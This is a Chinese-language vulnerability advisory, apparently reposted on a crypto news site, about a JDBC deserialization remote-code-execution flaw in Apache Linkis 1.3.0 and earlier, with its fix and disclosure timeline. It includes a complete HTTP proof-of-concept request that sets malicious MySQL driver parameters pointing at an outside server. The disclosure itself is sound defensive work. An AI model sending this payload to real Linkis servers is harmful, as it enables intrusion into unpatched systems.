Numen漏洞研究员发现Apache linkis反序列化漏洞

前言
Apache Linkis 在上层应用程序和底层引擎之间构建了一层计算中间件。通过使用 Linkis 提供的 REST/JDBC/Shell 等标准接口,上层应用可以方便地连接访问 MySQL/Spark/Hive/Trino/Flink 等底层引擎,同时实现变量、脚本、函数和资源文件等用户资源的跨上层应用互通,以及通过 REST 标准接口提供了数据源管理和数据源对应的元数据查询服务。作为计算中间件,Linkis 提供了强大的连通、复用、编排、扩展和治理管控能力。通过计算中间件将应用层和引擎层解耦,简化了复杂的网络调用关系,降低了整体复杂度,同时节约了整体开发和维护成本。
描述
Numen安全实验室漏洞研究员在apache Linkis小于等于1.3.0版本中,发现linkis与mysql jdbc驱动一起使用时,当攻击者具有对数据库的写访问权限并使用MySQL数据源和恶意参数配置新数据源时,存在反序列化漏洞,会导致远程代码执行。因此jdbc url中的参数应该被列入黑名单。
影响版本
Apache Linkis <=1.3.0
分析
在 linkis-public-enhancements/linkis-datasource/linkis-datasource-manager/server/src/main/java/org/apache/linkis/datasourcemanager/core/restful/DataSourceOperateRestfulApi.java#connect()接收dataSource相关属性,并传入doConnect函数

在doConnect函数中,直接进行连接,没有安全处理导致可携带恶意属性进行mysql jdbc反序列化。
PoC
POST /api/rest_j/v1/data-source-manager/op/connect/json HTTP/1.1 Host: 10.211.55.6:8088 Content-Length: 570 Content-language: en Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://10.211.55.6:8088 Referer: http://10.211.55.6:8088/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Cookie: linkis_user_session_ticket_id_v1=3cSULn63z6BRzonTuKWkmSAyp90ueJCH Connection: close {"id":1,"dataSourceName":"test","dataSourceTypeId":1,"createSystem":"Linkis","connectParams":{"password":"RoOt123.","databaseName":"test","port":"3306","host":”149.**.**.150","driverClassName":"com.mysql.jdbc.Driver","params":"{\"connectionAttributes\":\"t:cb194\",\"autoDeserialize\":\"true\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"useSSL\":\"false\"}","username":"root"},"createTime":1667210719000,"modifyTime":1667210718000,"createUser":"root","versionId":1,"expire":false,"dataSourceType":{"name":"mysql","layers":0}}
修复
1.3.1 version add blacklist / 1.3.1版本添加黑名单
linkis-commons/linkis-common/src/main/java/org/apache/linkis/common/utils/SecurityUtils.java
https://github.com/apache/linkis/commit/a652276961e39a6e0d6f79698e2b082a72f160d1#diff-d9f1daccf16be38b1c2a2b946ea9e8b27f5d7713b3981afef222ffe00e3b4a67

时间线
2022-11-02 Reporter to apache / 2022-11-02 向apache报告
2022-12-10 Fix the issue / 2022-12-10 修复
2023-01-19 Release apache linkis 1.3.1 version / 2023-01-19 发布apache linkis 1.3.1版本
2023-01-31 Public cve email / 2023-01-31 公开cve邮件

许多公司已经用 Linkis 来解决大数据平台连通、扩展、管控、编排等计算治理问题;涉及金融、电信、制造、互联网等多个行业。其安全性需要各Web3项目方提高重视,及时关注各种Web3基础架构的安全漏洞并及时打好补丁,以避免潜在的安全风险和数字资产损失。我们将及时挖掘,追踪各种web3上的安全风险,以及提供领先的安全解决方案,确保web3世界链上,链下安全无虞。
参考
https://lists.apache.org/thread/zlcfmvt65blqc4n6fxypg6f0ns8fqfz4
https://github.com/apache/linkis/issues/23
郑重声明:本文版权归原作者所有,转载文章仅为传播信息之目的,不构成任何投资建议,如有侵权行为,请第一时间联络我们修改或删除,多谢。
XRP 涨至 7.5 美元?分析师告诉 XRP 大军为纯粹的烟火做好准备!
加密货币分析师 EGRAG 表示,XRP 即将迎来关键时刻,价格可能大幅上涨,这取决于能否突破关键...
今晚ETH迎来暴涨时代 op、arb、metis等以太坊二层项目能否跑出百倍币?
北京时间7月23日晚上美股开盘后 ETH 的ETF开始交易。ETH的里程碑啊,新的时代开启。突破前...
Mt Gox 转移 28 亿美元比特币 加密货币下跌 ETH ETF 提前发行
2014 年倒闭的臭名昭著的比特币交易所 Mt Gox 已向债权人转移了大量比特币 (BTC),作...
Numen Cyber
文章数量
17粉丝数
0